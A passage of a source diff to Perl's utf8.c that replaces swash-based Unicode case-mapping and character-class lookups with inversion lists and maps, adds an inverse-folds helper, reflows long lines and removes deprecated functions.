         else {
-            _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
             goto needs_full_generality;
         }
     }
@@ -2444,7 +3189,8 @@
 
       needs_full_generality:
 	uvchr_to_utf8(utf8_c, c);
-	return _toFOLD_utf8_flags(utf8_c, utf8_c + sizeof(utf8_c), p, lenp, flags);
+	return _toFOLD_utf8_flags(utf8_c, utf8_c + sizeof(utf8_c),
+                                  p, lenp, flags);
     }
 }
 
@@ -2479,6 +3225,12 @@
         NOT_REACHED; /* NOTREACHED */
     }
 
+    if (invlist) {
+        return _invlist_contains_cp(invlist, valid_utf8_to_uvchr(p, NULL));
+    }
+
+    assert(swash);
+
     if (!*swash) {
         U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
         *swash = _core_swash_init("utf8",
@@ -2494,8 +3246,9 @@
 }
 
 PERL_STATIC_INLINE bool
-S_is_utf8_common_with_len(pTHX_ const U8 *const p, const U8 * const e, SV **swash,
-		          const char *const swashname, SV* const invlist)
+S_is_utf8_common_with_len(pTHX_ const U8 *const p, const U8 * const e,
+                          SV **swash, const char *const swashname,
+                          SV* const invlist)
 {
     /* returns a boolean giving whether or not the UTF8-encoded character that
      * starts at <p>, and extending no further than <e - 1> is in the swash
@@ -2513,6 +3266,12 @@
         NOT_REACHED; /* NOTREACHED */
     }
 
+    if (invlist) {
+        return _invlist_contains_cp(invlist, valid_utf8_to_uvchr(p, NULL));
+    }
+
+    assert(swash);
+
     if (!*swash) {
         U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
         *swash = _core_swash_init("utf8",
@@ -2571,7 +3330,7 @@
 
 bool
 Perl__is_utf8_FOO(pTHX_       U8   classnum,
-                        const U8   *p,
+                        const U8   * const p,
                         const char * const name,
                         const char * const alternative,
                         const bool use_utf8,
@@ -2598,8 +3357,8 @@
             case _CC_CASED:
 
                 return is_utf8_common(p,
-                                      &PL_utf8_swash_ptrs[classnum],
-                                      swash_property_names[classnum],
+                                      NULL,
+                                      "This is buggy if this gets used",
                                       PL_XPosix_ptrs[classnum]);
 
             case _CC_SPACE:
@@ -2615,19 +3374,13 @@
             case _CC_VERTSPACE:
                 return is_VERTWS_high(p);
             case _CC_IDFIRST:
-                if (! PL_utf8_perl_idstart) {
-                    PL_utf8_perl_idstart
-                                = _new_invlist_C_array(_Perl_IDStart_invlist);
-                }
-                return is_utf8_common(p, &PL_utf8_perl_idstart,
-                                      "_Perl_IDStart", NULL);
+                return is_utf8_common(p, NULL,
+                                      "This is buggy if this gets used",
+                                      PL_utf8_perl_idstart);
             case _CC_IDCONT:
-                if (! PL_utf8_perl_idcont) {
-                    PL_utf8_perl_idcont
-                                = _new_invlist_C_array(_Perl_IDCont_invlist);
-                }
-                return is_utf8_common(p, &PL_utf8_perl_idcont,
-                                      "_Perl_IDCont", NULL);
+                return is_utf8_common(p, NULL,
+                                      "This is buggy if this gets used",
+                                      PL_utf8_perl_idcont);
         }
     }
 
@@ -2666,12 +3419,8 @@
 {
     PERL_ARGS_ASSERT__IS_UTF8_FOO_WITH_LEN;
 
-    assert(classnum < _FIRST_NON_SWASH_CC);
-
-    return is_utf8_common_with_len(p,
-                                   e,
-                                   &PL_utf8_swash_ptrs[classnum],
-                                   swash_property_names[classnum],
+    return is_utf8_common_with_len(p, e, NULL,
+                                   "This is buggy if this gets used",
                                    PL_XPosix_ptrs[classnum]);
 }
 
@@ -2678,15 +3427,11 @@
 bool
 Perl__is_utf8_perl_idstart_with_len(pTHX_ const U8 *p, const U8 * const e)
 {
-    SV* invlist = NULL;
-
     PERL_ARGS_ASSERT__IS_UTF8_PERL_IDSTART_WITH_LEN;
 
-    if (! PL_utf8_perl_idstart) {
-        invlist = _new_invlist_C_array(_Perl_IDStart_invlist);
-    }
-    return is_utf8_common_with_len(p, e, &PL_utf8_perl_idstart,
-                                      "_Perl_IDStart", invlist);
+    return is_utf8_common_with_len(p, e, NULL,
+                                   "This is buggy if this gets used",
+                                   PL_utf8_perl_idstart);
 }
 
 bool
@@ -2702,15 +3447,11 @@
 bool
 Perl__is_utf8_perl_idcont_with_len(pTHX_ const U8 *p, const U8 * const e)
 {
-    SV* invlist = NULL;
-
     PERL_ARGS_ASSERT__IS_UTF8_PERL_IDCONT_WITH_LEN;
 
-    if (! PL_utf8_perl_idcont) {
-        invlist = _new_invlist_C_array(_Perl_IDCont_invlist);
-    }
-    return is_utf8_common_with_len(p, e, &PL_utf8_perl_idcont,
-                                   "_Perl_IDCont", invlist);
+    return is_utf8_common_with_len(p, e, NULL,
+                                   "This is buggy if this gets used",
+                                   PL_utf8_perl_idcont);
 }
 
 bool
@@ -2726,7 +3467,7 @@
 {
     PERL_ARGS_ASSERT__IS_UTF8_XIDCONT;
 
-    return is_utf8_common(p, &PL_utf8_idcont, "XIdContinue", NULL);
+    return is_utf8_common(p, &PL_utf8_xidcont, "XIdContinue", NULL);
 }
 
 bool
@@ -2737,69 +3478,26 @@
     return is_utf8_common(p, &PL_utf8_mark, "IsM", NULL);
 }
 
-/*
-=for apidoc to_utf8_case
-
-Instead use the appropriate one of L</toUPPER_utf8_safe>,
-L</toTITLE_utf8_safe>,
-L</toLOWER_utf8_safe>,
-or L</toFOLD_utf8_safe>.
-
-This function will be removed in Perl v5.28.
-
-C<p> contains the pointer to the UTF-8 string encoding
-the character that is being converted.  This routine assumes that the character
-at C<p> is well-formed.
-
-C<ustrp> is a pointer to the character buffer to put the
-conversion result to.  C<lenp> is a pointer to the length
-of the result.
-
-C<swashp> is a pointer to the swash to use.
-
-Both the special and normal mappings are stored in F<lib/unicore/To/Foo.pl>,
-and loaded by C<SWASHNEW>, using F<lib/utf8_heavy.pl>.  C<special> (usually,
-but not always, a multicharacter mapping), is tried first.
-
-C<special> is a string, normally C<NULL> or C<"">.  C<NULL> means to not use
-any special mappings; C<""> means to use the special mappings.  Values other
-than these two are treated as the name of the hash containing the special
-mappings, like C<"utf8::ToSpecLower">.
-
-C<normal> is a string like C<"ToLower"> which means the swash
-C<%utf8::ToLower>.
-
-Code points above the platform's C<IV_MAX> will raise a deprecation warning,
-unless those are turned off.
-
-=cut */
-
-UV
-Perl_to_utf8_case(pTHX_ const U8 *p, U8* ustrp, STRLEN *lenp,
-			SV **swashp, const char *normal, const char *special)
-{
-    STRLEN len_cp;
-    UV cp;
-    const U8 * e = p + UTF8SKIP(p);
-
-    PERL_ARGS_ASSERT_TO_UTF8_CASE;
-
-    cp = utf8n_to_uvchr(p, e - p, &len_cp, UTF8_CHECK_ONLY);
-    if (len_cp == (STRLEN) -1) {
-        _force_out_malformed_utf8_message(p, e,
-                                   _UTF8_NO_CONFIDENCE_IN_CURLEN, 1 /* Die */ );
-    }
-
-    return _to_utf8_case(cp, p, ustrp, lenp, swashp, normal, special);
-}
-
-    /* change namve uv1 to 'from' */
 STATIC UV
-S__to_utf8_case(pTHX_ const UV uv1, const U8 *p, U8* ustrp, STRLEN *lenp,
-		SV **swashp, const char *normal, const char *special)
+S__to_utf8_case(pTHX_ const UV uv1, const U8 *p,
+                      U8* ustrp, STRLEN *lenp,
+                      SV *invlist, const int * const invmap,
+                      const unsigned int * const * const aux_tables,
+                      const U8 * const aux_table_lengths,
+                      const char * const normal)
 {
     STRLEN len = 0;
 
+    /* Change the case of code point 'uv1' whose UTF-8 representation (assumed
+     * by this routine to be valid) begins at 'p'.  'normal' is a string to use
+     * to name the new case in any generated messages, as a fallback if the
+     * operation being used is not available.  The new case is given by the
+     * data structures in the remaining arguments.
+     *
+     * On return 'ustrp' points to '*lenp' UTF-8 encoded bytes representing the
+     * entire changed case string, and the return value is the first code point
+     * in that string */
+
     PERL_ARGS_ASSERT__TO_UTF8_CASE;
 
     /* For code points that don't change case, we already know that the output
@@ -2854,7 +3552,8 @@
                     if (ckWARN_d(WARN_SURROGATE)) {
                         const char* desc = (PL_op) ? OP_DESC(PL_op) : normal;
                         Perl_warner(aTHX_ packWARN(WARN_SURROGATE),
-                            "Operation \"%s\" returns its argument for UTF-16 surrogate U+%04" UVXf, desc, uv1);
+                            "Operation \"%s\" returns its argument for"
+                            " UTF-16 surrogate U+%04" UVXf, desc, uv1);
                     }
                     goto cases_to_self;
                 }
@@ -2863,20 +3562,18 @@
                  * some others */
                 if (uv1 < 0xFB00) {
                     goto cases_to_self;
-
                 }
 
                 if (UNLIKELY(UNICODE_IS_SUPER(uv1))) {
-                    if (   UNLIKELY(uv1 > MAX_NON_DEPRECATED_CP)
-                        && ckWARN_d(WARN_DEPRECATED))
-                    {
-                        Perl_warner(aTHX_ packWARN(WARN_DEPRECATED),
-                                cp_above_legal_max, uv1, MAX_NON_DEPRECATED_CP);
+                    if (UNLIKELY(uv1 > MAX_EXTERNALLY_LEGAL_CP)) {
+                        Perl_croak(aTHX_ cp_above_legal_max, uv1,
+                                         MAX_EXTERNALLY_LEGAL_CP);
                     }
                     if (ckWARN_d(WARN_NON_UNICODE)) {
                         const char* desc = (PL_op) ? OP_DESC(PL_op) : normal;
                         Perl_warner(aTHX_ packWARN(WARN_NON_UNICODE),
-                            "Operation \"%s\" returns its argument for non-Unicode code point 0x%04" UVXf, desc, uv1);
+                            "Operation \"%s\" returns its argument for"
+                            " non-Unicode code point 0x%04" UVXf, desc, uv1);
                     }
                     goto cases_to_self;
                 }
@@ -2885,8 +3582,8 @@
                     > HIGHEST_CASE_CHANGING_CP_FOR_USE_ONLY_BY_UTF8_DOT_C))
                 {
 
-                    /* As of this writing, this means we avoid swash creation
-                     * for anything beyond low Plane 1 */
+                    /* As of Unicode 10.0, this means we avoid swash creation
+                     * for anything beyond high Plane 1 (below emojis)  */
                     goto cases_to_self;
                 }
 #endif
@@ -2894,63 +3591,48 @@
         }
 
 	/* Note that non-characters are perfectly legal, so no warning should
-         * be given.  There are so few of them, that it isn't worth the extra
-         * tests to avoid swash creation */
+         * be given. */
     }
 
-    if (!*swashp) /* load on-demand */
-         *swashp = _core_swash_init("utf8", normal, &PL_sv_undef, 4, 0, NULL, NULL);
+    {
+        unsigned int i;
+        const unsigned int * cp_list;
+        U8 * d;
+        SSize_t index = _invlist_search(invlist, uv1);
+        IV base = invmap[index];
 
-    if (special) {
-         /* It might be "special" (sometimes, but not always,
-	  * a multicharacter mapping) */
-         HV *hv = NULL;
-	 SV **svp;
+        /* The data structures are set up so that if 'base' is non-negative,
+         * the case change is 1-to-1; and if 0, the change is to itself */
+        if (base >= 0) {
+            IV lc;
 
-	 /* If passed in the specials name, use that; otherwise use any
-	  * given in the swash */
-         if (*special != '\0') {
-            hv = get_hv(special, 0);
-        }
-        else {
-            svp = hv_fetchs(MUTABLE_HV(SvRV(*swashp)), "SPECIALS", 0);
-            if (svp) {
-                hv = MUTABLE_HV(SvRV(*svp));
+            if (base == 0) {
+                goto cases_to_self;
             }
+
+            /* This computes, e.g. lc(H) as 'H - A + a', using the lc table */
+            lc = base + uv1 - invlist_array(invlist)[index];
+            *lenp = uvchr_to_utf8(ustrp, lc) - ustrp;
+            return lc;
         }
 
-	 if (hv
-             && (svp = hv_fetch(hv, (const char*)p, UVCHR_SKIP(uv1), FALSE))
-             && (*svp))
-         {
-	     const char *s;
+        /* Here 'base' is negative.  That means the mapping is 1-to-many, and
+         * requires an auxiliary table look up.  abs(base) gives the index into
+         * a list of such tables which points to the proper aux table.  And a
+         * parallel list gives the length of each corresponding aux table. */
+        cp_list = aux_tables[-base];
 
-	      s = SvPV_const(*svp, len);
-	      if (len == 1)
-                  /* EIGHTBIT */
-		   len = uvchr_to_utf8(ustrp, *(U8*)s) - ustrp;
-	      else {
-		   Copy(s, ustrp, len, U8);
-	      }
-	 }
-    }
+        /* Create the string of UTF-8 from the mapped-to code points */
+        d = ustrp;
+        for (i = 0; i < aux_table_lengths[-base]; i++) {
+            d = uvchr_to_utf8(d, cp_list[i]);
+        }
+        *d = '\0';
+        *lenp = d - ustrp;
 
-    if (!len && *swashp) {
-	const UV uv2 = swash_fetch(*swashp, p, TRUE /* => is UTF-8 */);
-
-	 if (uv2) {
-	      /* It was "normal" (a single character mapping). */
-	      len = uvchr_to_utf8(ustrp, uv2) - ustrp;
-	 }
+        return cp_list[0];
     }
 
-    if (len) {
-        if (lenp) {
-            *lenp = len;
-        }
-        return valid_utf8_to_uvchr(ustrp, 0);
-    }
-
     /* Here, there was no mapping defined, which means that the code point maps
      * to itself.  Return the inputs */
   cases_to_self:
@@ -2966,8 +3648,70 @@
 
 }
 
+Size_t
+Perl__inverse_folds(pTHX_ const UV cp, unsigned int * first_folds_to,
+                          const unsigned int ** remaining_folds_to)
+{
+    /* Returns the count of the number of code points that fold to the input
+     * 'cp' (besides itself).
+     *
+     * If the return is 0, there is nothing else that folds to it, and
+     * '*first_folds_to' is set to 0, and '*remaining_folds_to' is set to NULL.
+     *
+     * If the return is 1, '*first_folds_to' is set to the single code point,
+     * and '*remaining_folds_to' is set to NULL.
+     *
+     * Otherwise, '*first_folds_to' is set to a code point, and
+     * '*remaining_fold_to' is set to an array that contains the others.  The
+     * length of this array is the returned count minus 1.
+     *
+     * The reason for this convolution is to avoid having to deal with
+     * allocating and freeing memory.  The lists are already constructed, so
+     * the return can point to them, but single code points aren't, so would
+     * need to be constructed if we didn't employ something like this API */
+
+    SSize_t index = _invlist_search(PL_utf8_foldclosures, cp);
+    int base = _Perl_IVCF_invmap[index];
+
+    PERL_ARGS_ASSERT__INVERSE_FOLDS;
+
+    if (base == 0) {            /* No fold */
+        *first_folds_to = 0;
+        *remaining_folds_to = NULL;
+        return 0;
+    }
+
+#ifndef HAS_IVCF_AUX_TABLES     /* This Unicode version only has 1-1 folds */
+
+    assert(base > 0);
+
+#else
+
+    if (UNLIKELY(base < 0)) {   /* Folds to more than one character */
+
+        /* The data structure is set up so that the absolute value of 'base' is
+         * an index into a table of pointers to arrays, with the array
+         * corresponding to the index being the list of code points that fold
+         * to 'cp', and the parallel array containing the length of the list
+         * array */
+        *first_folds_to = IVCF_AUX_TABLE_ptrs[-base][0];
+        *remaining_folds_to = IVCF_AUX_TABLE_ptrs[-base] + 1; /* +1 excludes
+                                                                 *first_folds_to
+                                                                */
+        return IVCF_AUX_TABLE_lengths[-base];
+    }
+
+#endif
+
+    /* Only the single code point.  This works like 'fc(G) = G - A + a' */
+    *first_folds_to = base + cp - invlist_array(PL_utf8_foldclosures)[index];
+    *remaining_folds_to = NULL;
+    return 1;
+}
+
 STATIC UV
-S_check_locale_boundary_crossing(pTHX_ const U8* const p, const UV result, U8* const ustrp, STRLEN *lenp)
+S_check_locale_boundary_crossing(pTHX_ const U8* const p, const UV result,
+                                       U8* const ustrp, STRLEN *lenp)
 {
     /* This is called when changing the case of a UTF-8-encoded character above
      * the Latin1 range, and the operation is in a non-UTF-8 locale.  If the
@@ -2978,7 +3722,8 @@
      * p	points to the original string whose case was changed; assumed
      *          by this routine to be well-formed
      * result	the code point of the first character in the changed-case string
-     * ustrp	points to the changed-case string (<result> represents its first char)
+     * ustrp	points to the changed-case string (<result> represents its
+     *          first char)
      * lenp	points to the length of <ustrp> */
 
     UV original;    /* To store the first code point of <p> */
@@ -2988,7 +3733,7 @@
     assert(UTF8_IS_ABOVE_LATIN1(*p));
 
     /* We know immediately if the first character in the string crosses the
-     * boundary, so can skip */
+     * boundary, so can skip testing */
     if (result > 255) {
 
 	/* Look at every character in the result; if any cross the
@@ -3014,8 +3759,8 @@
 
     /* diag_listed_as: Can't do %s("%s") on non-UTF-8 locale; resolved to "%s". */
     Perl_ck_warner(aTHX_ packWARN(WARN_LOCALE),
-                           "Can't do %s(\"\\x{%" UVXf "}\") on non-UTF-8 locale; "
-                           "resolved to \"\\x{%" UVXf "}\".",
+                           "Can't do %s(\"\\x{%" UVXf "}\") on non-UTF-8"
+                           " locale; resolved to \"\\x{%" UVXf "}\".",
                            OP_DESC(PL_op),
                            original,
                            original);
@@ -3133,13 +3878,11 @@
                                L1_func_extra_param)                          \
                                                                              \
     if (flags & (locale_flags)) {                                            \
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;                                  \
         /* Treat a UTF-8 locale as not being in locale at all */             \
         if (IN_UTF8_CTYPE_LOCALE) {                                          \
             flags &= ~(locale_flags);                                        \
         }                                                                    \
-        else {                                                               \
-            _CHECK_AND_WARN_PROBLEMATIC_LOCALE;                              \
-        }                                                                    \
     }                                                                        \
                                                                              \
     if (UTF8_IS_INVARIANT(*p)) {                                             \
@@ -3151,13 +3894,12 @@
         }                                                                    \
     }                                                                        \
     else if UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(p, e) {                          \
+        U8 c = EIGHT_BIT_UTF8_TO_NATIVE(*p, *(p+1));                         \
         if (flags & (locale_flags)) {                                        \
-            result = LC_L1_change_macro(EIGHT_BIT_UTF8_TO_NATIVE(*p,         \
-                                                                 *(p+1)));   \
+            result = LC_L1_change_macro(c);                                  \
         }                                                                    \
         else {                                                               \
-            return L1_func(EIGHT_BIT_UTF8_TO_NATIVE(*p, *(p+1)),             \
-                           ustrp, lenp,  L1_func_extra_param);               \
+            return L1_func(c, ustrp, lenp,  L1_func_extra_param);            \
         }                                                                    \
     }                                                                        \
     else {  /* malformed UTF-8 or ord above 255 */                           \
@@ -3331,17 +4073,12 @@
 	if (flags & FOLD_FLAGS_LOCALE) {
 
 #           define LONG_S_T      LATIN_SMALL_LIGATURE_LONG_S_T_UTF8
-            const unsigned int long_s_t_len    = sizeof(LONG_S_T) - 1;
-
 #         ifdef LATIN_CAPITAL_LETTER_SHARP_S_UTF8
 #           define CAP_SHARP_S   LATIN_CAPITAL_LETTER_SHARP_S_UTF8
 
-            const unsigned int cap_sharp_s_len = sizeof(CAP_SHARP_S) - 1;
-
             /* Special case these two characters, as what normally gets
              * returned under locale doesn't work */
-            if (UTF8SKIP(p) == cap_sharp_s_len
-                && memEQ((char *) p, CAP_SHARP_S, cap_sharp_s_len))
+            if (memEQs((char *) p, UTF8SKIP(p), CAP_SHARP_S))
             {
                 /* diag_listed_as: Can't do %s("%s") on non-UTF-8 locale; resolved to "%s". */
                 Perl_ck_warner(aTHX_ packWARN(WARN_LOCALE),
@@ -3351,8 +4088,7 @@
             }
             else
 #endif
-                 if (UTF8SKIP(p) == long_s_t_len
-                     && memEQ((char *) p, LONG_S_T, long_s_t_len))
+                 if (memEQs((char *) p, UTF8SKIP(p), LONG_S_T))
             {
                 /* diag_listed_as: Can't do %s("%s") on non-UTF-8 locale; resolved to "%s". */
                 Perl_ck_warner(aTHX_ packWARN(WARN_LOCALE),
@@ -3371,9 +4107,7 @@
              * 255/256 boundary which is forbidden under /l, and so the code
              * wouldn't catch that they are equivalent (which they are only in
              * this release) */
-            else if (UTF8SKIP(p) == sizeof(DOTTED_I) - 1
-                     && memEQ((char *) p, DOTTED_I, sizeof(DOTTED_I) - 1))
-            {
+            else if (memEQs((char *) p, UTF8SKIP(p), DOTTED_I)) {
                 /* diag_listed_as: Can't do %s("%s") on non-UTF-8 locale; resolved to "%s". */
                 Perl_ck_warner(aTHX_ packWARN(WARN_LOCALE),
                               "Can't do fc(\"\\x{0130}\") on non-UTF-8 locale; "
@@ -3487,7 +4221,8 @@
  */
 
 SV*
-Perl_swash_init(pTHX_ const char* pkg, const char* name, SV *listsv, I32 minbits, I32 none)
+Perl_swash_init(pTHX_ const char* pkg, const char* name, SV *listsv,
+                      I32 minbits, I32 none)
 {
     PERL_ARGS_ASSERT_SWASH_INIT;
 
@@ -3495,11 +4230,14 @@
      * public interface, and returning a copy prevents others from doing
      * mischief on the original */
 
-    return newSVsv(_core_swash_init(pkg, name, listsv, minbits, none, NULL, NULL));
+    return newSVsv(_core_swash_init(pkg, name, listsv, minbits, none,
+                                    NULL, NULL));
 }
 
 SV*
-Perl__core_swash_init(pTHX_ const char* pkg, const char* name, SV *listsv, I32 minbits, I32 none, SV* invlist, U8* const flags_p)
+Perl__core_swash_init(pTHX_ const char* pkg, const char* name, SV *listsv,
+                            I32 minbits, I32 none, SV* invlist,
+                            U8* const flags_p)
 {
 
     /*NOTE NOTE NOTE - If you want to use "return" in this routine you MUST
@@ -3557,18 +4295,14 @@
 
     SV* retval = &PL_sv_undef;
     HV* swash_hv = NULL;
-    const int invlist_swash_boundary =
-        (flags_p && *flags_p & _CORE_SWASH_INIT_ACCEPT_INVLIST)
-        ? 512    /* Based on some benchmarking, but not extensive, see commit
-                    message */
-        : -1;   /* Never return just an inversion list */
+    const bool use_invlist= (flags_p && *flags_p & _CORE_SWASH_INIT_ACCEPT_INVLIST);
 
     assert(listsv != &PL_sv_undef || strNE(name, "") || invlist);
     assert(! invlist || minbits == 1);
 
-    PL_curpm= NULL; /* reset PL_curpm so that we dont get confused between the regex
-                       that triggered the swash init and the swash init perl logic itself.
-                       See perl #122747 */
+    PL_curpm= NULL; /* reset PL_curpm so that we dont get confused between the
+                       regex that triggered the swash init and the swash init
+                       perl logic itself.  See perl #122747 */
 
     /* If data was passed in to go out to utf8_heavy to find the swash of, do
      * so */
@@ -3728,7 +4462,7 @@
 
                 /* Here, there is no swash already.  Set up a minimal one, if
                  * we are going to return a swash */
-                if ((int) _invlist_len(invlist) > invlist_swash_boundary) {
+                if (! use_invlist) {
                     swash_hv = newHV();
                     retval = newRV_noinc(MUTABLE_SV(swash_hv));
                 }
@@ -3739,9 +4473,7 @@
         /* Here, we have computed the union of all the passed-in data.  It may
          * be that there was an inversion list in the swash which didn't get
          * touched; otherwise save the computed one */
-	if (! invlist_in_swash_is_valid
-            && (int) _invlist_len(swash_invlist) > invlist_swash_boundary)
-        {
+	if (! invlist_in_swash_is_valid && ! use_invlist) {
 	    if (! hv_stores(MUTABLE_HV(SvRV(retval)), "V", swash_invlist))
             {
 		Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed");
@@ -3754,8 +4486,7 @@
         /* The result is immutable.  Forbid attempts to change it. */
         SvREADONLY_on(swash_invlist);
 
-        /* Use the inversion list stand-alone if small enough */
-        if ((int) _invlist_len(swash_invlist) <= invlist_swash_boundary) {
+        if (use_invlist) {
 	    SvREFCNT_dec(retval);
 	    if (!swash_invlist_unclaimed)
 		SvREFCNT_inc_simple_void_NN(swash_invlist);
@@ -4391,318 +5122,6 @@
     return swatch;
 }
 
-HV*
-Perl__swash_inversion_hash(pTHX_ SV* const swash)
-{
-
-   /* Subject to change or removal.  For use only in regcomp.c and regexec.c
-    * Can't be used on a property that is subject to user override, as it
-    * relies on the value of SPECIALS in the swash which would be set by
-    * utf8_heavy.pl to the hash in the non-overriden file, and hence is not set
-    * for overridden properties
-    *
-    * Returns a hash which is the inversion and closure of a swash mapping.
-    * For example, consider the input lines:
-    * 004B		006B
-    * 004C		006C
-    * 212A		006B
-    *
-    * The returned hash would have two keys, the UTF-8 for 006B and the UTF-8 for
-    * 006C.  The value for each key is an array.  For 006C, the array would
-    * have two elements, the UTF-8 for itself, and for 004C.  For 006B, there
-    * would be three elements in its array, the UTF-8 for 006B, 004B and 212A.
-    *
-    * Note that there are no elements in the hash for 004B, 004C, 212A.  The
-    * keys are only code points that are folded-to, so it isn't a full closure.
-    *
-    * Essentially, for any code point, it gives all the code points that map to
-    * it, or the list of 'froms' for that point.
-    *
-    * Currently it ignores any additions or deletions from other swashes,
-    * looking at just the main body of the swash, and if there are SPECIALS
-    * in the swash, at that hash
-    *
-    * The specials hash can be extra code points, and most likely consists of
-    * maps from single code points to multiple ones (each expressed as a string
-    * of UTF-8 characters).   This function currently returns only 1-1 mappings.
-    * However consider this possible input in the specials hash:
-    * "\xEF\xAC\x85" => "\x{0073}\x{0074}",         # U+FB05 => 0073 0074
-    * "\xEF\xAC\x86" => "\x{0073}\x{0074}",         # U+FB06 => 0073 0074
-    *
-    * Both FB05 and FB06 map to the same multi-char sequence, which we don't
-    * currently handle.  But it also means that FB05 and FB06 are equivalent in
-    * a 1-1 mapping which we should handle, and this relationship may not be in
-    * the main table.  Therefore this function examines all the multi-char
-    * sequences and adds the 1-1 mappings that come out of that.
-    *
-    * XXX This function was originally intended to be multipurpose, but its
-    * only use is quite likely to remain for constructing the inversion of
-    * the CaseFolding (//i) property.  If it were more general purpose for
-    * regex patterns, it would have to do the FB05/FB06 game for simple folds,
-    * because certain folds are prohibited under /iaa and /il.  As an example,
-    * in Unicode 3.0.1 both U+0130 and U+0131 fold to 'i', and hence are both
-    * equivalent under /i.  But under /iaa and /il, the folds to 'i' are
-    * prohibited, so we would not figure out that they fold to each other.
-    * Code could be written to automatically figure this out, similar to the
-    * code that does this for multi-character folds, but this is the only case
-    * where something like this is ever likely to happen, as all the single
-    * char folds to the 0-255 range are now quite settled.  Instead there is a
-    * little special code that is compiled only for this Unicode version.  This
-    * is smaller and didn't require much coding time to do.  But this makes
-    * this routine strongly tied to being used just for CaseFolding.  If ever
-    * it should be generalized, this would have to be fixed */
-
-    U8 *l, *lend;
-    STRLEN lcur;
-    HV *const hv = MUTABLE_HV(SvRV(swash));
-
-    /* The string containing the main body of the table.  This will have its
-     * assertion fail if the swash has been converted to its inversion list */
-    SV** const listsvp = hv_fetchs(hv, "LIST", FALSE);
-
-    SV** const typesvp = hv_fetchs(hv, "TYPE", FALSE);
-    SV** const bitssvp = hv_fetchs(hv, "BITS", FALSE);
-    SV** const nonesvp = hv_fetchs(hv, "NONE", FALSE);
-    /*SV** const extssvp = hv_fetchs(hv, "EXTRAS", FALSE);*/
-    const U8* const typestr = (U8*)SvPV_nolen(*typesvp);
-    const STRLEN bits  = SvUV(*bitssvp);
-    const STRLEN octets = bits >> 3; /* if bits == 1, then octets == 0 */
-    const UV     none  = SvUV(*nonesvp);
-    SV **specials_p = hv_fetchs(hv, "SPECIALS", 0);
-
-    HV* ret = newHV();
-
-    PERL_ARGS_ASSERT__SWASH_INVERSION_HASH;
-
-    /* Must have at least 8 bits to get the mappings */
-    if (bits != 8 && bits != 16 && bits != 32) {
-	Perl_croak(aTHX_ "panic: swash_inversion_hash doesn't expect bits %" UVuf,
-						 (UV)bits);
-    }
-
-    if (specials_p) { /* It might be "special" (sometimes, but not always, a
-			mapping to more than one character */
-
-	/* Construct an inverse mapping hash for the specials */
-	HV * const specials_hv = MUTABLE_HV(SvRV(*specials_p));
-	HV * specials_inverse = newHV();
-	char *char_from; /* the lhs of the map */
-	I32 from_len;   /* its byte length */
-	char *char_to;  /* the rhs of the map */
-	I32 to_len;	/* its byte length */
-	SV *sv_to;	/* and in a sv */
-	AV* from_list;  /* list of things that map to each 'to' */
-
-	hv_iterinit(specials_hv);
-
-	/* The keys are the characters (in UTF-8) that map to the corresponding
-	 * UTF-8 string value.  Iterate through the list creating the inverse
-	 * list. */
-	while ((sv_to = hv_iternextsv(specials_hv, &char_from, &from_len))) {
-	    SV** listp;
-	    if (! SvPOK(sv_to)) {
-		Perl_croak(aTHX_ "panic: value returned from hv_iternextsv() "
-			   "unexpectedly is not a string, flags=%lu",
-			   (unsigned long)SvFLAGS(sv_to));
-	    }
-	    /*DEBUG_U(PerlIO_printf(Perl_debug_log, "Found mapping from %" UVXf ", First char of to is %" UVXf "\n", valid_utf8_to_uvchr((U8*) char_from, 0), valid_utf8_to_uvchr((U8*) SvPVX(sv_to), 0)));*/
-
-	    /* Each key in the inverse list is a mapped-to value, and the key's
-	     * hash value is a list of the strings (each in UTF-8) that map to
-	     * it.  Those strings are all one character long */
-	    if ((listp = hv_fetch(specials_inverse,
-				    SvPVX(sv_to),
-				    SvCUR(sv_to), 0)))
-	    {
-		from_list = (AV*) *listp;
-	    }
-	    else { /* No entry yet for it: create one */
-		from_list = newAV();
-		if (! hv_store(specials_inverse,
-				SvPVX(sv_to),
-				SvCUR(sv_to),
-				(SV*) from_list, 0))
-		{
-		    Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed");
-		}
-	    }
-
-	    /* Here have the list associated with this 'to' (perhaps newly
-	     * created and empty).  Just add to it.  Note that we ASSUME that
-	     * the input is guaranteed to not have duplications, so we don't
-	     * check for that.  Duplications just slow down execution time. */
-	    av_push(from_list, newSVpvn_utf8(char_from, from_len, TRUE));
-	}
-
-	/* Here, 'specials_inverse' contains the inverse mapping.  Go through
-	 * it looking for cases like the FB05/FB06 examples above.  There would
-	 * be an entry in the hash like
-	*	'st' => [ FB05, FB06 ]
-	* In this example we will create two lists that get stored in the
-	* returned hash, 'ret':
-	*	FB05 => [ FB05, FB06 ]
-	*	FB06 => [ FB05, FB06 ]
-	*
-	* Note that there is nothing to do if the array only has one element.
-	* (In the normal 1-1 case handled below, we don't have to worry about
-	* two lists, as everything gets tied to the single list that is
-	* generated for the single character 'to'.  But here, we are omitting
-	* that list, ('st' in the example), so must have multiple lists.) */
-	while ((from_list = (AV *) hv_iternextsv(specials_inverse,
-						 &char_to, &to_len)))
-	{
-	    if (av_tindex_skip_len_mg(from_list) > 0) {
-		SSize_t i;
-
-		/* We iterate over all combinations of i,j to place each code
-		 * point on each list */
-		for (i = 0; i <= av_tindex_skip_len_mg(from_list); i++) {
-		    SSize_t j;
-		    AV* i_list = newAV();
-		    SV** entryp = av_fetch(from_list, i, FALSE);
-		    if (entryp == NULL) {
-			Perl_croak(aTHX_ "panic: av_fetch() unexpectedly failed");
-		    }
-		    if (hv_fetch(ret, SvPVX(*entryp), SvCUR(*entryp), FALSE)) {
-			Perl_croak(aTHX_ "panic: unexpected entry for %s", SvPVX(*entryp));
-		    }
-		    if (! hv_store(ret, SvPVX(*entryp), SvCUR(*entryp),
-				   (SV*) i_list, FALSE))
-		    {
-			Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed");
-		    }
-
-		    /* For DEBUG_U: UV u = valid_utf8_to_uvchr((U8*) SvPVX(*entryp), 0);*/
-		    for (j = 0; j <= av_tindex_skip_len_mg(from_list); j++) {
-			entryp = av_fetch(from_list, j, FALSE);
-			if (entryp == NULL) {
